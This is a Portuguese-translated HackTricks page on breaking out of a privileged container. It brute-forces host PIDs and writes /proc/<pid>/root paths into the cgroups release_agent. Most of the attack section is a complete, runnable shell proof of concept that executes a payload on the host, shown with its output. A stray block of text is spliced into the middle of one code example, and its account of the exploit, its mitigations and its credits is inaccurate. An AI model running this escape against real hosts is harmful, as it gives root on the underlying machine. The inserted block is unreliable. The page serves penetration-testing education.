hacktricks/linux-hardening/privilege-escalation/docker-security/docker-breakout-privilege-escalation/release_agent-exploit-relative-paths-to-pids.md
2023-06-06 18:56:34 +00:00

234 lines
12 KiB
Markdown

# Introdução
Os PoCs anteriores funcionam bem quando o contêiner é configurado com um driver de armazenamento que expõe o **caminho completo do host do ponto de montagem**, por exemplo, `overlayfs`, no entanto, existem configurações que **não revelam claramente o ponto de montagem do sistema de arquivos do host**.
Neste PoC, em vez de usar o caminho onde o contêiner está localizado dentro do sistema de arquivos do host, vamos descobrir um PID do contêiner dentro do host.
## Exemplos de contêiner que não expõem a localização do caminho dentro do host
### Kata Containers
```
root@container:~$ head -1 /etc/mtab
kataShared on / type 9p (rw,dirsync,nodev,relatime,mmap,access=client,trans=virtio)
```
O [Kata Containers](https://katacontainers.io) por padrão monta o sistema de arquivos raiz de um contêiner sobre `9pfs`. Isso não revela nenhuma informação sobre a localização do sistema de arquivos do contêiner na Máquina Virtual do Kata Containers.
### Device Mapper
```
root@container:~$ head -1 /etc/mtab
/dev/sdc / ext4 rw,relatime,stripe=384 0 0
```
Eu vi um container com este ponto de montagem raiz em um ambiente ao vivo, acredito que o container estava sendo executado com uma configuração específica de driver de armazenamento `devicemapper`, mas até agora não consegui replicar esse comportamento em um ambiente de teste.
# PoC
A única informação necessária é o **caminho completo, relativo ao host do container, de um arquivo para executar dentro do container**. Sem ser capaz de discernir isso a partir dos pontos de montagem dentro do container, precisamos procurar em outro lugar.
## /proc/\<pid>/root
O pseudo-sistema de arquivos `/proc` do Linux expõe as estruturas de dados do processo do kernel para todos os processos em execução em um sistema, incluindo aqueles em diferentes namespaces, por exemplo, dentro de um container. Isso pode ser mostrado executando um comando em um container e acessando o diretório `/proc` do processo no host:Container.
```bash
root@container:~$ sleep 100
```
```bash
root@host:~$ ps -eaf | grep sleep
root 28936 28909 0 10:11 pts/0 00:00:00 sleep 100
root@host:~$ ls -la /proc/`pidof sleep`
total 0
dr-xr-xr-x 9 root root 0 Nov 19 10:03 .
dr-xr-xr-x 430 root root 0 Nov 9 15:41 ..
dr-xr-xr-x 2 root root 0 Nov 19 10:04 attr
-rw-r--r-- 1 root root 0 Nov 19 10:04 autogroup
-r-------- 1 root root 0 Nov 19 10:04 auxv
-r--r--r-- 1 root root 0 Nov 19 10:03 cgroup
--w------- 1 root root 0 Nov 19 10:04 clear_refs
-r--r--r-- 1 root root 0 Nov 19 10:04 cmdline
...
-rw-r--r-- 1 root root 0 Nov 19 10:29 projid_map
lrwxrwxrwx 1 root root 0 Nov 19 10:29 root -> /
-rw-r--r-- 1 root root 0 Nov 19 10:29 sched
...
```
Como observação, a estrutura de dados `/proc/<pid>/root` é algo que me confundiu por muito tempo, eu nunca conseguia entender por que ter um link simbólico para `/` era útil, até que eu li a definição real nas páginas do manual:
> /proc/\[pid]/root
>
> UNIX e Linux suportam a ideia de um root do sistema de arquivos por processo, definido pelo sistema de chamada chroot(2). Este arquivo é um link simbólico que aponta para o diretório raiz do processo e se comporta da mesma forma que exe e fd/\*.
>
> No entanto, observe que este arquivo não é apenas um link simbólico. Ele fornece a mesma visão do sistema de arquivos (incluindo namespaces e o conjunto de montagens por processo) que o próprio processo.
O link simbólico **`/proc/<pid>/root` pode ser usado como um caminho relativo ao host para qualquer arquivo dentro de um contêiner**:
```bash
root@container:~$ echo findme > /findme
root@container:~$ sleep 100
```
```bash
root@host:~$ cat /proc/`pidof sleep`/root/findme
findme
```
{% hint style="warning" %}
**Isso muda o requisito para o ataque de conhecer o caminho completo, relativo ao host do contêiner, de um arquivo dentro do contêiner, para conhecer o pid de** _**qualquer**_ **processo em execução no contêiner.**
{% endhint %}
## Pid Bashing <a href="#pid-bashing" id="pid-bashing"></a>
Isso é realmente a parte fácil, ids de processo no Linux são numéricos e atribuídos sequencialmente. O processo `init` é atribuído ao processo id `1` e todos os processos subsequentes são atribuídos a ids incrementais. Para identificar o **pid do processo host de um processo dentro de um contêiner, pode ser usada uma busca incremental de força bruta**:
```
root@container:~$ echo findme > /findme
root@container:~$ sleep 100
```
# Explorando o Docker para Escalação de Privilégios: O Exploit do Release Agent usando Caminhos Relativos para PIDs
## Descrição
Este exploit aproveita o recurso do Docker de permitir que um contêiner execute um script de shell como um release agent quando o contêiner é desligado. O script de shell é executado com privilégios de root e pode ser usado para executar comandos maliciosos no host. O exploit usa caminhos relativos para PIDs para contornar as restrições de segurança do Docker e executar comandos no host.
## Detalhes
Quando um contêiner é desligado, o Docker executa um script de shell como um release agent. O script é executado com privilégios de root e pode ser usado para executar comandos maliciosos no host. O exploit usa caminhos relativos para PIDs para contornar as restrições de segurança do Docker e executar comandos no host.
O exploit funciona da seguinte maneira:
1. O atacante cria um contêiner Docker com um script de shell malicioso como release agent.
2. O atacante desliga o contêiner.
3. O Docker executa o script de shell como release agent com privilégios de root.
4. O script de shell usa caminhos relativos para PIDs para contornar as restrições de segurança do Docker e executar comandos no host.
O exploit pode ser usado para executar comandos maliciosos no host, como adicionar um usuário com privilégios de root, instalar um backdoor ou roubar informações confidenciais.
## Mitigação
Para mitigar esse exploit, siga estas práticas recomendadas:
- Não permita que contêineres executem scripts de shell como release agents.
- Use o Docker em modo seguro para limitar o acesso do contêiner ao host.
- Use o SELinux ou o AppArmor para restringir as ações do contêiner no host.
- Monitore o sistema em busca de atividades suspeitas.
## Créditos
Este exploit foi descoberto por Felix Wilhelm e apresentado na conferência Black Hat Europe 2017.
```bash
root@host:~$ COUNTER=1
root@host:~$ while [ ! -f /proc/${COUNTER}/root/findme ]; do COUNTER=$((${COUNTER} + 1)); done
root@host:~$ echo ${COUNTER}
7822
root@host:~$ cat /proc/${COUNTER}/root/findme
findme
```
## Colocando Tudo Junto <a href="#putting-it-all-together" id="putting-it-all-together"></a>
Para completar este ataque, a técnica de força bruta pode ser usada para **adivinhar o PID para o caminho `/proc/<pid>/root/payload.sh`**, com **cada iteração** escrevendo o caminho do PID adivinhado **no arquivo `release_agent` dos cgroups, acionando o `release_agent`** e verificando se um arquivo de saída é criado.
A única ressalva com esta técnica é que ela não é de forma alguma sutil e pode aumentar muito o número de PIDs. Como nenhum processo de longa duração é mantido em execução, isso _não deveria_ causar problemas de confiabilidade, mas não me cite sobre isso.
O PoC abaixo implementa essas técnicas para fornecer um ataque mais genérico do que o apresentado inicialmente no PoC original de Felix para escapar de um contêiner privilegiado usando a funcionalidade do **arquivo `release_agent` dos cgroups**:
```bash
#!/bin/sh
OUTPUT_DIR="/"
MAX_PID=65535
CGROUP_NAME="xyx"
CGROUP_MOUNT="/tmp/cgrp"
PAYLOAD_NAME="${CGROUP_NAME}_payload.sh"
PAYLOAD_PATH="${OUTPUT_DIR}/${PAYLOAD_NAME}"
OUTPUT_NAME="${CGROUP_NAME}_payload.out"
OUTPUT_PATH="${OUTPUT_DIR}/${OUTPUT_NAME}"
# Run a process for which we can search for (not needed in reality, but nice to have)
sleep 10000 &
# Prepare the payload script to execute on the host
cat > ${PAYLOAD_PATH} << __EOF__
#!/bin/sh
OUTPATH=\$(dirname \$0)/${OUTPUT_NAME}
# Commands to run on the host<
ps -eaf > \${OUTPATH} 2>&1
__EOF__
# Make the payload script executable
chmod a+x ${PAYLOAD_PATH}
# Set up the cgroup mount using the memory resource cgroup controller
mkdir ${CGROUP_MOUNT}
mount -t cgroup -o memory cgroup ${CGROUP_MOUNT}
mkdir ${CGROUP_MOUNT}/${CGROUP_NAME}
echo 1 > ${CGROUP_MOUNT}/${CGROUP_NAME}/notify_on_release
# Brute force the host pid until the output path is created, or we run out of guesses
TPID=1
while [ ! -f ${OUTPUT_PATH} ]
do
if [ $((${TPID} % 100)) -eq 0 ]
then
echo "Checking pid ${TPID}"
if [ ${TPID} -gt ${MAX_PID} ]
then
echo "Exiting at ${MAX_PID} :-("
exit 1
fi
fi
# Set the release_agent path to the guessed pid
echo "/proc/${TPID}/root${PAYLOAD_PATH}" > ${CGROUP_MOUNT}/release_agent
# Trigger execution of the release_agent
sh -c "echo \$\$ > ${CGROUP_MOUNT}/${CGROUP_NAME}/cgroup.procs"
TPID=$((${TPID} + 1))
done
# Wait for and cat the output
sleep 1
echo "Done! Output:"
cat ${OUTPUT_PATH}
```
Executar o PoC dentro de um container privilegiado deve fornecer uma saída semelhante a:
```bash
root@container:~$ ./release_agent_pid_brute.sh
Checking pid 100
Checking pid 200
Checking pid 300
Checking pid 400
Checking pid 500
Checking pid 600
Checking pid 700
Checking pid 800
Checking pid 900
Checking pid 1000
Checking pid 1100
Checking pid 1200
Done! Output:
UID PID PPID C STIME TTY TIME CMD
root 1 0 0 11:25 ? 00:00:01 /sbin/init
root 2 0 0 11:25 ? 00:00:00 [kthreadd]
root 3 2 0 11:25 ? 00:00:00 [rcu_gp]
root 4 2 0 11:25 ? 00:00:00 [rcu_par_gp]
root 5 2 0 11:25 ? 00:00:00 [kworker/0:0-events]
root 6 2 0 11:25 ? 00:00:00 [kworker/0:0H-kblockd]
root 9 2 0 11:25 ? 00:00:00 [mm_percpu_wq]
root 10 2 0 11:25 ? 00:00:00 [ksoftirqd/0]
...
```
# Referências
* [https://ajxchapman.github.io/containers/2020/11/19/privileged-container-escape.html](https://ajxchapman.github.io/containers/2020/11/19/privileged-container-escape.html)
<details>
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
- Você trabalha em uma **empresa de cibersegurança**? Você quer ver sua **empresa anunciada no HackTricks**? ou você quer ter acesso à **última versão do PEASS ou baixar o HackTricks em PDF**? Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
- Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
- Adquira o [**swag oficial do PEASS & HackTricks**](https://peass.creator-spring.com)
- **Junte-se ao** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo do Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo do telegram**](https://t.me/peass) ou **siga-me** no **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
- **Compartilhe seus truques de hacking enviando PRs para o [repositório hacktricks](https://github.com/carlospolop/hacktricks) e [repositório hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)**.
</details>